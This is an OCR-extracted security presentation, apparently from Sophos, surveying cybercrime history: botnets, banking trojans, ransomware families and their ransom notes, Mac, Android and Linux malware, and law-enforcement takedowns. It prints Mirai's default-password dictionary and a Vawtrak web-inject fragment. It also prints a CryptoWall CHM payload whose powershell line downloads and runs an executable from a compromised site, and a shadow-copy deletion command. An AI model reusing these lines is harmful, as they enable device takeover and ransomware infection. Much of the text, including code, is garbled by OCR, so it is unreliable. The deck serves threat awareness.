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The good old days...
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I have been elected to inform you that throughout ygour process of 8
collecting and executing files, you have accdientally THUCKEM =
ourself owver: again, that’s PHUCKED yourself over. Mo, it canmmot 8
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2010

Che Telegraph

Home Video News World Sport Business Money Comment Culture Travel Life

USA | Asia China Europe UIGGLIEY*TI@ Aunstralasia Africa  South America = Central As
Iran | Iraq | Israel | Palestinian Authority | Syria | Jordan | Saudi Arabia | Bahrain | Dubai

HOME » NEWS » WORLD NEWS » MIDDLE EAST » IRAN

Stuxnet virus attack on Iranian nuclear programme: the
first strike by computer?




@) CNBC S eereh Guates, News & Vides

HOME U.5. » NEWS MARKETS INVESTING TECH SMALLBIZ VIDEO SHOWS

POLITICS
US-China agree to not conduct
cybertheft of intellectual

property

Everett Rosenfeld with Reuters
Friday, 25 Sep 2015 | 1:39 PM ET
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2013

Im_l M Oney us. + Business Markets Tech Media Personal Financ

Target: 40 million credit cards

by CNNMoney Staff @CNNMoney
@ December 19, 2013: 441 PM ET

* 200 million — Estimated dollar cost to credit unions and community banks for reissuing 21.8 million cards

* 18.00 — 35.70 - The median price range (in dollars) per card stolen from Target and resold on the black market

* 1 million — 3 million — The estimated number of cards stolen from Target that were successfully sold on the
black market and used for fraud

* 53.7 million — The income that hackers likely generated from the sale of 2 million cards stolen from Target).

SOPHOS Sources: KrebsOnSecurity.com Forbes.com


http://blog.credit.com/2014/02/target-data-breach-cost-banks-240-million-76636/

2016

theguardian

home ) tech UK world sport foothall opinion culture business lifestyl = all
[¥i= Hacking

US officially accuses Russia of hacking DNC
and interfering with election

Administration says ‘only Russia's senior-most officials’ could have signed off on cyber-
attacks and urges states to seek federal security aid for voting systems




Yesterday

A - News
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Ontario Today 4
4’ Listen Live
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Carleton University says it didn't pay hacker's ransom after
cyberattack \

More than goc  University expected to make a statement on ransomeware attack at 4 p.m. ET Wednesday
Dfﬂil’lE‘ ﬂliS wee CBC News Posted: Nov 30, 2016 12.03PMET Last Updated: Nov 30, 2016 3:53 PM ET

30 New

worm known as Mirai. The malware wriggled inside the routers via a newly discovered

vulnerability in a feature that allows ISPs to remotely upgrade the firmware on the devices.
But the new Mirai malware turns that feature off once it infests a device, complicating DT's Sys-l:e I I I —— I_]P D A I E D

cleanup and restoration efforts.




Who is the target...

Targeted

R
SRS e e .
SEA R —

* Large corporations * Anyone with Internet access

* Government agencies and contractors

* Industrial systems
* Political activists and celebrities

* Retailers, banks, credit unions, online stores,
casinos, ATMs

SOPHOS



Source and Motive...

7 2
"

Hacktivism

“Cyber weapons”

Nation-state
cyber-espionage
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Financially motivated (cybercrime)

SOPHOS 9



s Total Mabvare
= il i
LR — |
= (] il ] ‘
& — L (g | l — i L s l - Ll L L
— — — — — — — — — — — —| — —; — —| [ i [ i i

Last update: 11 116 15:39 opyright @ AV-TEST GmbH, www,av-test.orng




Malware monetization options

Phishung Ste
Malware Downlioad Site
Warez/Pwacy Server

Spam Zombie
D00S Extorhion Zombie
T\ Cick Fraud Zombee

wWeb Sarver

L Anonymzation Proxy
\ CAPTCHA Soiving Zombea

Child Pomography Server /|

Spam Ste /

P \
Webmas Spam ' eBayPaypal Fake Auctons
Onine Gaming Credentals

Account ?@ﬂ,{rﬁ?{ Web Site FTP Credentiais

Skype/VolP Crecentials

Stranded Abroad Advance Scams ‘

Harvesting E-mail Contacts }E-Uan Attacks

Harvesting Associated Accounts
L Chent Sige Encryption Cenficates

Access 10 Corporate E-mas /

Bank Accoumt Data

Onine Gaming Characiers

[ Credt Card Data

-

__Stock Tradging Account

Online Gaming Goods/Currency
RIS o 8 5 S5 g s L "~}V-rtuai Gooas

PC Game Lcense Keys

Mutual Fund/401k Accoumt

Operating System License Key / {

l

Fake Anmtiverus

Facebook |
Twier | | Ransomware
Linkedin —}chuamn Hyackong / (_Email Account Ransom
E‘&Qgie; j," l\ Waebcam Image Extortion

SOURCE: http://krebsonsecurity.com/2012/10/the-scrap-value-of-a-hacked-pc-revisited/




Cybercrime malware by type

*\iruses = infecting files, self-propagates
*\Worms = spreads through network holes, self-propagates

*Trojans = resident software with backdoor functionality, pretends to be
legitimate, doesn’t self-propagate

SOPHOS



Botnhet use

Email spam
. Web spam (comments)

Information stealers

I S

SOPHOS

DDoS (Distributed Denial of Service)

A botnet is a robot network: a collection of infected
online devices, which could be laptops, servers, phones,
routers, webcams, or any connected device that can run
programs and send data across the internet.

Picture source: 13


http://en.wikipedia.org/wiki/Botnet

Sept 2016 — A record high 620 Gbps DDoS from Mirai loT botnet

21 KrebsOnSecurity Hit With Record DDoS

On Tuesday evening, KrebsOnSecurity.com was the target of an extremely large and unusual
distributed denial-of-service (DDoS) attack designed to knock the site offline. The attack did
i, the company that protects

KrebsonSecurity

In-depth security news and investigation

21 Hacked Cameras, DVRs Powered Today’s
Massive Internet Outage

A massive and sustained Internet attack that has caused outages and network
congestion today for a large number of Web sites was launched with the help of hacked
“Internet of Things” (IoT) devices, such as CCTV video cameras and digital video recorders,
new data suggests.

Earlier today cyber criminals began training their attack cannons on Dyn, an Internet
infrastructure company that provides critical technology services to some of the Internet’s

top destinations. The attack began creating problems for Internet users reaching an array of
sites, including Twitter, Amazon, Tumblr, Reddit, Spotify and Netflix.

United States

SOPHOS

a3 nearly double the size of
iggest assaults the Internet

userfuser
admin/adminl234
admin/1111
root/1234
service/service
guest,/12345
administrator /1234
ubnt/ubnt
root/hi3518
root/zlxzx.
root/system
root/user
admin/1111111
admin/54321
admin/1234
tech/tech

root/vizxv

root /888888
root/juantech
support/support
root/root
admin/ (none)
root/1111

root /666666
root,/klvl123
supervisor/supervisor
guest,/12345
E66666,/666666
root,/klvl1234
root/jvbzd
root/TujMko@vizxv
root,/ikwb
root/realtek
admin/1234
admin/123456
admin/pass
mother / fullir

root/admin
root/xmhdipc
root/123456
root/{(none)
root/12345
root/pass
admin/smcadmin
root/password
Administrator/admin
guest/guest
adminl/password
S8B888/8883888
root/Ztes21
root/fanko
root/TujMkoBadmin
root/dreambox

root /GO000000
admin/12345
admin/7TujMko®admin
admin/meinsm

Mirai's built-in password dictionary.

Sophos Confidentia



Banking Malware

S ol — T —

' V|ct|m Cybercrime Victim’s Money

‘ group Bank mules '

* Steals account credentials on banking websites

* Initiates automatic money transfer
* “Web injects” (injecting DLL into browser process)

* “Vawtrack” — Crimeware-as-a-Service model (steal to order)

* https://www.sophos.com/en-us/medialibrary/PDFs/technical%20papers/sophos-vawtrak-international-crimeware-as-a-service-
tpna.pdf




Vawtrak Crimeware-as-a-Service (CaaS)

. Re: Applicant #1514042338 l

Hello,

|

. Your application for an FNBO Direct account has been received. As an FNBO Direct customer, not only will
you receive an exceptional interest rate,
you can be confident your accounts are held by a bank established in values of trust, integrity, and
security.

. Please find in the attached document information concerning your application. .
Copyright (c) 2614 FNBO Direct, a division of First National Bank of Omaha. All Rights Reserved. Deposit
Accounts are offered by First National Bank of Omaha,

Member FDIC. Deposits are insured to the maximum permitted by law.
P.0. Box 3707, Omaha, NE 68103-0707

For information on FNBO Direct's privacy policy, please visit
https://www.fnbodirect.com/comp/popups/privacy-policy. fhtml

l
!
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* EXE attachment or Exploit Kit attack ¢ Connects to C&C
* |njects into legitimate process * Receives configuration file

* Hooks APIs to inspect network traffic ® Injects code into web pages of specific URLs



Vawtrack web inject

Target URL: runpayroll. adp.com/(default. aspx\?Action=login|registered/RegisteredlLogin.aspx)
Flags: Ox22

Data before: </body>

Data inject: <script> % framework% var fw = new EQFramework(“oframework _key9a"); var CurQue
function ShowEl(name)}{if (isset(name)) {document.getElementByld(name).style.display = ";}} funct
true} else {(ViewMain(); }}} function ViewMain()}{document._titie = MainTitle; HideEl("WaitDiv") HideE
function Viewinj(){document_ titie = MainTitle; HideElI("WaitDw") . ShowEI(AnswlL bil"); ShowEICAnsw
(isset(name)) {return document. getElementByld(name).value;} else {return false;}} function SetPa(
{(CurQuestions == 1) { if (isset(AnswlLDbil1l")) document.getElememnByldCAnswlLDI1).innerHTML = fwn
CurQuestions++; } else if (CurQuestions == 2) { PostRequest += fw.GetVal(CAdpQuestion2’) + =" +
fw.DelVal(AdpQuestionl’); fw.DelVal(AdpQuestion2); ViewMain(): } } } f (fw.GetVal( AdpQuestion
if(isset{'LnkForgotPassword”)) {document.getElementByld(LnkForgotPassword’) . click():} } else { if



Screen Locker Ransomware

Windows 3aenokupoBaH!

........

oy 1| 2] 3| 4] sJ s| 7 | 8| 9 | oumctims |

Baw kon: | BXO0A B CUCTEMY |

Ecnu e TedeHr 12 Yacoe C MOMEHTA NOSENEHMA ASHHONO COosWeHWA, He 6YaeT BES0EH KOO
Bce aaHHbie. eknuas YWindows v bios suayry BESBOSBPATHO SOANEHDB!! NMonetka
NeEpeycTaHOBMTE CHMCTEMY NPUMBEOET K HEPYWEeHMAM patoTel KOMMNBOTEPA.




“Police Locker”

6%% STRATHCLYDE % METROPOLITAN
Tl

POLICE R POLICE

Attention!!!
The process of illegal activity is detected. According to UK law and Metropolitan Police Service and Strathclyde Police investigation your computer is locked!

The following violation is detected: you IP-address " mmmmmssa". Forbidden websites containing pornography, child pornography, Sodomy and called violence against children on, violent
material toward people were visited from this IP-address!

Moreover and e-mail spam was sent you're your computer, e-mails containing terroristic materials. This locking serves to stop your illegal activity.

Your details: Location: United Kingdom,
ISP:

To release a lock your computer you should pay the fine in

amount of £ 100. In the case of ignoring the payment, the @kash Where can I buy Ukash?
program will remove illegal materials while keeping your

2 2 S You could buy Ukash in many places, for example: shops, stalls, stand-alone terminals,
personal information is not guaranteed.

on-line or through E-Wallet (electronic cash). Below you could find the list of point of sale

Ukash in your country.
You could pay the forfeit in two ways: X b

) @ Epay - you could buy Ukash in thousands of supermarkets or Call-Shops which
1) Paying through Ukash: have this logo.
- 5 g - epay
Use the code received for this purpose. Enter it in the space for payment and click OK - : 5
(if you have more than one code, enter them one after another and then click OK). PP PayPoint = Get Ukach wherever: you sea/the PayRoiit sign.

PryPotos

case the system informs about an e send the code Payzone - Ukash available from Payzone terminals around the UK.
surcharge@cyber-metropolitan-police.co.uk e

. -
2 - > Inpay - You can get a Ukash voucher in values from £10 - £500 and pay
2) Paying through Paysafecard: |n’p-ay\~ using your internet bank.
Use the code (and a password if needed) received for this purpose. Enter it in the
space for payment and click OK (if you have more than one code, enter them one

after another and then click OK). a pagsafe =

e paycash. paysafe.

surcharge@cyber-metropolitan-police.co.uk




Early monetization methods: Prepaid cards and cash vouchers

@ paysafecsiC

MoneyPak

v/ Reload Your Prepaid Cards
®
v’ Make Same-Day Payments
as .
v Add Money to a PayPal Account
Shop anywhere PayPal is accopled, intiuding e8ay

No Crodit card or dank a0count required

—
Q?-’é MoneyPak

PARTICIPATING RETAILERS

Acosiberiss CVS  [oussceeai]  @DOLLARTREE  FAMILY™ DOLIAR

1 PN ¢ Whlgreens Q@

SOPHOS 20




Ein Vorgang

Das Betrebssystem wurde im Zusam
Deutschiand gesperrt! Es wurde foiget
IP wurden Seiten mit pornografischer

Auf Threm Computer wurden ebenfalls
Gewailt und Kinderpornografie fes!
terroristischen Hintergrunden, versch
Akl

Thre

Angaben: IP: |

uUm die Sperre des Computers aufzuh
zahlen.Sie haben zwei Mo

1) Die Z

Dazu geben Sie bitte den erworbenen
auf OK (haben Sie mehrere Codes,so

Solite das System Fehler Beiaen,s

kr

2) Die Zahh

Dazu geben Sie bitte den erworbener
und driucken Ske anschiessend auf (
nacheinander ein und dricken See 2
mussen Ske den Code per Ei

Gendarmerie
nationale

’7,
DGA

la Republque Francaise!

Actlwte illicite demelee'
Q3 Le systeme d'e

On a redeve I'mfraction a 13 loi: de votre TP adesse qui carespond 3 "L DEnnEs T on a redlise Ia requete sur le site qui contient 1a pornogaphle Iz pormographie d'enfant, la sodomie et des
actes de violence envers les enfants. Egalement on a recupere un video avec les elements de violence et la pornographie d'enfants. De meme on a retrouve I'envol ou courriel electronigue sous
forme de spam avec les dessous terroristes,

Ce blocage de 'ordinatewr sert a prevention de vos actes ilega «ploitation a ete bloque a cause de ia der ation de lces de

IP:

Lo France,

aton

IS

Pour lever le blocage de l'ordinateur vous devez payer le
recouvrement de 100 euros.

@kash‘ Ou puis-je acheter un voucher Ukash?

Acheter Ukash dans plus de 20.000 points de vente en France. Vous pouvez obtenir
Ukash dans des centaines de milliers d'endroits du monde entier, sur Internet, des
portefeuilles, kiosques et GAB, y compris les bureaux de tabac, presse et stations

Il y a deux possibilites d'effectuer le paiement:

1) Abolibon de dettes a l'aides du systeme de paesment Ukash: sarka
Pour le faire vous devez remplir le champs du paiement avec ke code donne, puis
appuyer sur OK (en cas de deux codes disponibles, remplissez-les successivement Tabac presse - Ukash est disponible dans des milliers bureaux
I'un apres quoi appuyes sur OK). v, de tabac.
.2
Toneo - Ukash est maintenant disponible avec la Carte Toneo.
Becharge - Utilisez Ukash en ligne 24/7 avec VisaMasterCard
Ion=eo _ oucCarte Bancare.
2) Paement a l'aide de Paysafecard: WWWDbeCHARGEBE |
Pour le faire vous devez remplir le champs du paement avec ke code (ou avec le mot I oK l
d'ordre) et appuyer sur OK {(en cas de deux codes disponibles, remplissez-les
successivement 'un apres l'autre apres quoi appuyez sur 0K). a pagsafg

pay cash. pay safe

OKI

oyber@defense. fr I




File Crypting Ransomware

Cryptolocker

Choose 3 conmverent paymeart method and ok ofNeaxt

Bitcon s 3 oyptoouTency where the creation and transfer of bitcors s based on an
CORN SOLNCE COIYe g protocol that = rdependent of arw central authority
BItCOors can be rarsienraed throudh & CoOmMputér Or sSmmatphons without an Ntermedate
nanclal Irstutution

Private key will be destroyed on
10/13/2013 You have Lo send 0.7 BTC w0 Btocon ackkess
1:21 PM 12 EEVVEgDHUPHADAE ISETHDLGaOW a4X and spedify the Trarsacton 1D on
Private key will be destroyed on tha next page, whch wil be verfied and confrmed
15/04,2014
Tmme left 10:43

71:38: 18

o Paae
Getting started with Btcoin

Time ettt

95:55: 59

SOPHOS
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Common ransomware characteristics

* Unbreakable encryption

* Unique public key is generated on the server

* Deletes “shadow” copies of files

* Uses I12P proxies to communicate with its command-n-control
* Uses TOR network and Bitcoins for payments

* Infection vectors: email, drive-by downloads, malvertizement

SOPHOS 23




Ransomware + Bitcoins = ”

Bitcoins Ransomware
* Available world-wide * |ndiscriminate
* Practically untraceable * Openly criminal

Bitcoin Address Addresses are identifiers which you use to send bitcoins to another person.

Summary Transactions

Address 1ACK cumkxdM3aQisMMLg32EubPEUNIUFTC Mo. Transactions 368 dh
Hash 160 B4dd4006e5c7T68d 120bb9b5b3afch 1387757 Tdcf Total Received 31,734 98886786 BTC dh
Short Link http://blockchain.info/fb/1ackcum Final Balance 1,360.00000001 BTC dh
Tools Taint Analysis - Related Tags - Unspent Outputs

Request Payment Donation Button

Cryptolocker: 17,706,729.70 USD (Nov 2013)



Coincidence?

| cryptalocker 1| A https://www.google.com/trends/exploretig=cryptolocker

Cryptolocker
search trends

http://www.coindesk.com/price/

Bitcoin price

il www.colndesk.com

SOPHOS 22




CTB-Locker

A AT AT AT A AT AT AT AT AT AT AT AT AT AT AT AT AT AL AT A A A AT AT AT AT AL AT AT A AT AT AT AN A AT AT AT T Ty
= #

AT AT AT A AT T TS TTTTTTTTTTTTTTTTTTEETTTTTTFTTTFTTEETTTFTTTTTTEETTFTTTEETTFTFFp
= -

\Q\\\\\\\\\

Ihre Dokumente, Fot Jos neveicat maksajumu par saviem failiem.

und eindeutigen Schiis -
A Sifretaj programma izdzasisies pati.

Pr'ivatentschlﬂggelunfj

kann Thre Dateien zu # Visi faili paliks noSifréti un jos neatgriezeniski pazaudésiet tos.

Sie haben nur 96 Stury Varbot jums vajadzigs nedaudz vairak laiks lai samaksatu?

senden werden alle II':;

sie wiederherzustelle] Izlasiet instrukcijas faila DecryptAllFiles.t=t jisu Documents mape, i1 ir josu PEDEJA IESPEJA.
v

Driicken Sie 'Ansicht'é

Ordicken Sie auf "Weiter® i

“... customisable by the affiliate who has purchased the CTB-Locker
instance, the available options have grown over time, more recently —
English, French, German, Spanish, Latvian, Dutch and Italian.”

AALRRRALERALAARAAAAALARARARLRRLLARAARLAAARARALALLLREAY

Ansicht

AALARARALALALLALALLALARALLLLALLALALEAAARAAAALARARELLYY

[ T T i P




TorrentLocker/CryptOLOcker

— N, gl
— E=
=olo Q= T} FoTH S{ELEL:
[ il (—
2oy o= SRl IRE (ST USRI =Sl LIS-E. ESEEOEELS AL (S P -0 FaAD. SR DI EE) o R A, Fdea X bREEIE . S Cryptiuadher -
Zia=z DERalUc 200N IINE N7 W SRS A E-TEREIhELE. B TrALFEROICE TSN FERODLETE U ET. EELO@LLARE . DeHdEin
LICE. .
J|E: Cryptiltcker HIMSHE S0l RIS SEED TFSEIH SHY)L

W CoptildckerENIFEL T h. BRI h e~ O TSR SiEES LI TR E R A

A = AMEJ

AL
I +

wmemizmsaze2  JOrrentLocker criminals went so far as to refuse to push the
mames =2 Rgnsomware executable to victim machines whose IP
addresses did not belong to the target countries.”
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TorrentLocker

S ppo rt

Buy decryption and

Local currency

Buy decryption for 399 EUR before 2015-05-12 10:47:13
OR buy it later with the price of 798 EUR

Time left before price increase: 4:25:40

Your total files encrypted: 3048

Current price: 1.9791198 BTC (arcund 399 EUR)

Faid until now: 0 BTC {around 0 EUR)
Remaining amount: 1.9721198 BTC (around 399 EUR)

Buy Decryption with

Register bitcoin wallet

You should register Bitcoin wallet, see easy instructions ar watch video on YouTukbe,

Buy bitcoins

Flease see recommended bitcoin sellers in your country:

i, 2ircoin.net - Order bitcoin with AR bank transfer.

wonnis Bitstamp.net - Buy and sell bitcoins in european SEPA zone

localbitcoins.com - Buy Bitcains with cash from people leaving in lreland.

howtobuybitcoins, info - Big list of trusted Bitcoin online exchanges in lreland.

Local BC exchanges




CryptoWall

What happened to your files?
All of your files were protected by a strong encryplion with RSA-2048 using CryptoWall 3.0
More information about the encryption keys using RSA-2048 can be found here: hitp.fen. wikipedia.orgwikiiRSA (cryptosystem)

\What does this mean?
This means that the structure and data within your files have been irrevocably changed, you will not be able to work
with them, read them or see them, it is the same thing as lasing them forever, but with our help, you can restore them.

Cannot you find the files you need?
Is the content of the files that you have watched not readable?
it is normal because the files’ names, as well as the data in your files have been encrypted.

Congratulations!!!
You have become a part of large community CryptoWall.

1. BiZchBowitcouepy . payoptvars. com.s S
2. Bi3chfowitcouepy . pauforusa. com mme
3. Bi3chBowitcouepy . paywelcomef or . com. SEERE—.

CryptoWall Project is not malicious and is not intended to harm a perscon and his'her information data.
The project is conducted for the sole punpose of instructicn in the field of informaticn security, as well as oertification of antivirus prodocts for their suitabkility for data
protection.

Together we makse the Internet 8 better and safer place.

14. Follow the instructions on the site. r

IMPORTANT INFORMATION:
&iZchéowitoouspy cpauoptyvars . com T -4Your Personal PAGE
&igckhEowitcouepy .onion /ARl <Your Personal PAGE(using TOR)
| T -4Your personal code (if you open the site (or TOR "s) directly)

SOPHOS




Attack example, stage 1

i= You have received a new secure message - Cyrillic (Windows)

Fil= Edit Wi Tools Message Help

= S = = = >< ) 3 S

Reply Reply All Forward Prink Celete Hddresses=s
From: JPhorganChasze Manager G om
Dakte: =28 Maw 2015 16:00
To: ben.yo COm
Subjeck: “ou have received & neww secure message
attach: |@"r‘nu hawve a new encrvpted message from JPMorgan Chase 2 0C01  rar (2. 75 KB)

e the attachtnent and follows the instractions.

SOPHOS 30




... stage 2 (CHM file)

ct1tlesdP Morgan Chase SecureMessages/titles

chead:

ameta http-equiv="Content-Type" content="text/himl; charset=Wndows-1251"

¢ (HEAD)s

<BODY:

QBIECT 1d=x classid="cls1d:adbBA0af-doff-11c-9377-002a003b7 211" width=1 he1ght=1s

cPARAM name="Command” value="ShortCut"s

PARAN name="Button” value="B1tmap::shortout”s

¢PARMM name="Tteml"

valug=",cmd, /o powershel]

(New-Object System. Net.WebClient) . DownloadFile( http: /S, fwp-content /plugins/pafact1e/1mages /chasepayment. exe ', "¥TEMPY\chase, exe ')
(New-Ob7ect -com Shell,Applicatron). ShellExecute( ¥TENP®\chase.exe |™

PARAN name="Ttemz" value="273,1,1"

ctable style="width:566m" cellpadding="0" cellspacing="0" al1gn="center"

SOPHOS 31



... stage 3 (EXE)

* Launches new instance of explorer.exe

* Injects unpacked CryptoWall binary code into this process

* Original process exits

* vssadmin.exe Delete Shadows /All /Quiet

* Achieves persistence with autorun registry keys

* Starts a new process for CnC communication via 12P

* Obtains unique public key

* Uses AES 256 encryption to encrypt documents

* Writes and displays “how to decrypt” note in the language, based on GEO IP lookup

SOPHOS 32




Spammed DOC with embedded LNK spawning Powershell download

outlook

\‘ /mnwnrd

spammed doc
Threat Summary malicious .Ink

39 F

What: Troj/Ransom-Z£8
3 business files were invaolved

33
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Web-based attacks

> 100 000 new malicious pages
every day

80% belong to

legitimate sites

SOPHOS
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Exploit kits/packs

* Cheap (S50/month)
* Easy to use
* ‘Silent’ infection of victims SILENCE &2

SEO Sploit Pack

il Total L&zl Browser
ers 1 1.0.4. - ..
Server time: 12:14, 18.05.2011

Hosts
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Website infections

* Linux trojans

* FTP account hacking
* cPanel exploits

* SQL Injections

* Vulnerable webservers, CMS (Wordpress, Drupal, ...), PHP




Evasion Techniques

* Binaries repackaged every 20 min (!) and AV tested
+ server side polymorphism
* 100s of payload domains created daily
* 10,000s of new infected websites stealing legitimate traffic or used as payload or CnC servers

Everything is a moving target
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Android malware

* Information stealers
* SMS senders

* Phishing

* Privilege escalation
* Zeus for Android

* Fake AV

* Ransomware

* Adware

* Spyware

SOPHOS
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Android Ransomware

B — » - Then in T day term wou should remedy the breaches as=scciated with your phone
Mandiant U.S.A. Cybear Security @ ‘ Otherwise, yeur phone will be bBlecked up and criminal case will be opencd against
FBIl. Department of Defense ) youslf (with no option to pay fine).

U.S.A. Cyber Crime Center

Please mind, that vou should enter anly wverified pas=s of vouchers and abstain from
caching out of vouchers once used for fine pavment. If erronecus passs were enterad,
ar if attemipt was made fo cancel vouchers after tramsaction, then, apart from ahowe

breaches, yvou will be charged with fraud {Article 277 of United States of America
criminal law; 1 ta 3 years of imprisonment) and criminzal ca=se will be opsnsd

Country: United States
Region: WA

City: Gl [55%) MoneyPak

ATTENTION!
Your phone has been o |
blocked up for safety
reasons IiSted below' How do | unbloeck the phone using the MoneyPak?
All the actions performed 1. Find a retsil location nest you.

2. Lock for & MoneyPak in the prepaid section. Talke it to the cashier and load it with

on th ls phone- are f|xed = g_ﬁf‘r:‘ Py [Er!e.:.ruu should enler = cigits MoneyPak resulling pass in the payment farm
A" your flles are and press "Fay MonoyPak
encrypted.
CONDUCTED AUDIO

AND VIDEO.

Fay MoneyPalk -




Mac malware?
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Scareware for Macs
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Infected Files:

Infected By Infected Object

Fath 1o object

anti-malware.zip
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Cancel
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- Comtrof Center | Scan | System nfo H' compuver drva_ufs.hip 7132 KB W..pfile Exploit.OSX.CVE

K4 Oeskiop bootsiduce 5532 M8 File TrojanOSX.ASP

7\ Applications o ¥ msolM ndoc 23.34 KB Document Backdoor MacO

7 Documents drvpasam 92.17 KB Fae Virus. MacOS. Iy

bl work muigh.xmi 4437TMB  Fie Hacktool.OSX.M

L’ Start Scan , (5] bropbox g0 Apple security alert xploit. Exploi.d
7 v SEARCH FOR ‘yul.Macos.lh

Today ?oiaumosxovas

Scan Type: ® Quick (O Normal () Full Yesterday Bekdoor.0SX.1
Past Week ' To help protect your computer, Apple Web Security f"'°“‘°s”‘c"t

@51 All knages o b have detected Trojans and ready to remove them. B'“°°'-MN05

ot AL Bl S ‘4'-__)‘ = RSt MacOS. Y

@ ?ﬁal\MuCOS.'

— pplication. OSX

1 You have dhesen to open t coan be staled fxogamosx.usr

Fojan OSXASP
schkdoor OSXN

L
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credit card numbers, etc) it's highly
recommended to cleanup the

Dualer Terminal ,'App:y(anon1,r‘Ll:|:|l|c\,~'Tcrrmn.ﬂ.npp}Con!eli e =
{ What chould Firefox do with thie &ilay
5 :
Rootkit t foin O oo g - 4> Mon 10:49 AM
(&) Save Fle
[J oo this stomaticaly 1 Your system s infected. It's highly recommended 1o
SANUR YOu tem o protect altical mformation
ke credit Casx umbaers, e1¢
A boocd - -
' _--/ Scanned files: 927 .f 3 § Time spent ed file detected
Scanned directories: 5607 (-] i
Statistics Viruses detected: 2 Timing Last Viruses Detect




July 2016 - OSX/Eleanor-A
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March 2016: OSX/KeRanger-A

Your computer has been locked and all your files has been encrypted with
2048-bit RSA encryption.

Instruction for decrypt:

1. Go o UFFNFFFFFFFFFP ( 1F 10T WORKING JUST
DOWNLOAD TOR BROWSER AND OPEN THIS LINK: Uy rryrrry)

2. use QI FFFFFFFFF)-: your 1D for authentication
3. Pay 1 BTC (~410.63%) for decryption pack using bitcoins (wallet is
your 1D for authentication - (FFFFFFIFFrrIrryryryry)

4. Download decrypt pack and run

> Also ot UFIEFFFFFFFFE o con decrypt 1 file

for FREE to make sure decryption is working.

Also we have ticket system inside, so if you have any questions - you
are welcome.
We will answer only 1f you able to pay and you have serious question.

IMPORTANT: WE ARE ACCEPT ONLY(!!) BITCOINS

HOW TO BUY BITCOINS:
https://localbitcoins.com/guides/how-to-buy-bitcoins
https://en.bitcoin.it/wiki/Buying_Bitcoins_(the_newbie_version)
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September 2016 — OSX/PWSSync-B

e Configures itself as an OS X LaunchAgent
e Steals passwords and other credentials from your OS X Keychain
e Calls home to download additional scripts to run.

g ., 5OPHO° ’Stea\—\—ng

oY . apP
?Ysﬁnsmisﬂo“ >
Y

SOPHOS
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OSX malware?

* Commercial keyloggers
* Ransomware

* Password stealers

P o

Bundleware”
*Search result substitution, Ad-theft
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Linux malware

1. Linux Web servers is the perfect “launch pad” for malware and exploits targeting Windows

2. A Linux “botnet” is a perfect platform for spam and DDOS

°*ELF
[ PHP Web server platform
* Perl
* Shell /i;kmn
0a%
Combine this with a common belief that Unix/Linux ‘is s5a7% \..s

0.18%

safe’ and needs no AV. The result is -- highly effective
malware spreading on Unix/Linux, and going unnoticed
for a long time

L LiteSpeed
0.14%

SOPHOS



Linux malware example: Troj/Apmod

* |Installs itself as an Apache module which inspect outgoing HTTP content
* Injects JavaScript code into every page served

* The JavaScript writes an <IFRAME> to the page

* The <IFRAME> points to a malicious/compromised site

We call it the “web traffic hijacking”




What can be done?

Awareness

Security measures

Legal actions and takedowns
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Legal actions and takedown efforts

* Nov 2009 — “Mega-D” (30-35% of spam). Arrested

* Feb 2010 — “Mariposa” botnet, 12M PCs. Arrested.

* Mar 2010 — “Zeus” botnet. Arrested

¢ OCt 2010 - ”BrEdOIab” bOtnet, 30M PCSI Percentof spam sent via Rustock botnet
in the overall spam volume (daily)

* Sep 2011 — “Kelihos” botnet

* Mar 2011 — “Rustock” botnet. On the run. \\/\\/\/\/\
e \

see \
T T T T T

0% T T T
o NOV 2012 - ”N|t0|” B R R SR S P g R R

B e N A R R L M A A MU W . N S e A

* Jan 2013 — Zeus botmaster arrested
* June 2014 - Operation “Tovar”
* Sept 2015 — Arrests tied to Citadel and Dridex
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Sophos Labs

¢ Real-time response to incidents
Threat )
Response e 24/7/365 operation

/

e Deep expertise into threats & attacks
e Create powerful protection solutions

* Build bespoke systems to automate threat
analysis & response

e Enable SophosLabs to scale

e Ensure effectiveness & quality of releases

e Own risk management
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Threat : Protection
: Analysis .
Collection & Remediation




Snapshot of 2016 Threat Landscape

150,000

e Suspicious URLs seen & analysed
daily

30,000

e Malicious URLs daily, over 80% of
which are from legitimate web
sites

5 million

e Spam messages daily across 20
countries

400,000

e Previously unseen files
received daily

2,000

e Previously unseen Android
apps daily

600 million

e Live Protection lookup events
added to Hadoop cluster




E: IDA - usthcated' 238295-1" b6d5e460954609eb806d665ac43d6d1 718ceb57d

File Edit Jump Search ‘iew D[Debugger Options ‘Windows Help

=@ « - || dh/dhed | & | 1 [[Ten =1 =l #|| = &+ x

RElEL I NElm = | N || @] = | =me
| Boen||2sigo 9 v - = N X|/30- 8- S H K~~~ F|| : ;s %F  lwwn|&f¥iss
| EmE e IR FAEA

1

=14 Lhl I S ———

|:|] Functions window

o x|

Function name

."EI] ztart
M) sub_403461

M) sub_403B4C
M) sub_403B83
7 sub_403CFE
7] sub_403E92

= | O iy, | = Hex “iew-& | = ﬂ Structures | 2 Em Enums | Iﬁ Imparts | = éa Exparts

-Cext-08L4832F8 B8 88 o8
-text-084832F3
-text-08L0832F3
-Ctext-884832F3
-text-084832F3
-text-08L0832F3
-text-08L4A32F8
-Cext-884832FA
-text-08L4832FC
-text:-08LA3382
-Ctext-88L833084
-text-08L833084
-text:-08LA33 04
-Cext-884833085
-text-0840833086
-text:-08LA33 08B
-Ctext-88483311
-text-084L83312
-text:-08L4A3318
-Cext-8848331E
-text-88L83324
-text:-08LA3324
-Cext-88483324
-text-08L083329
-text:-08LA332C
-Cext-08L833448
-text-08483347
-text-08LA33ILT
-text-08483347
-text-08483347
-text-08LA33ILT
-text-08483349
-text-8848334E
-text-00LA335L
-Ctext-08483355
-text-8848335A
etz aIaona

BE
BB
a3
81
8B

i)
c3
Fa
Enf
c3

Fh

I8

L7
LE
BA
FF
e
81
81
81
E9

Ly
15

GE
18

EB
CH
ES
BE

il 5
Lo
62
ars

2] 1
BR
81
ca
BF
81
LB

D1
Z1
CG

61
35

37
EF

33
Fe

Ly

it 2]

L)
L |

a7
L2
|
oo

Fib
Fa

L3
il )

T

a5

aB
LA

aa
ag
4
aa

55
LD

3

(5] 5]
LG

ag+

db 3 dupd{@)

s 3TART OF FUHNCTION CHUHK FOR start

loc_4832F3: s CODE XREF: start-15%
mov esi, FFULTLG6h
mou eax, ebh=x
add esi, eax
sub edx, 73I356838h
mio eax, ebhx |
loc_483304: s CODE XREF: start+4Y4
inc edi
dec esi
mo ed=x, 6Boa7GEGTFh
call ds:GetComputerHamenfn
inc eax
sub ebx, 276Bh
add esi, 4250k
sub eax, LG6FuS162h
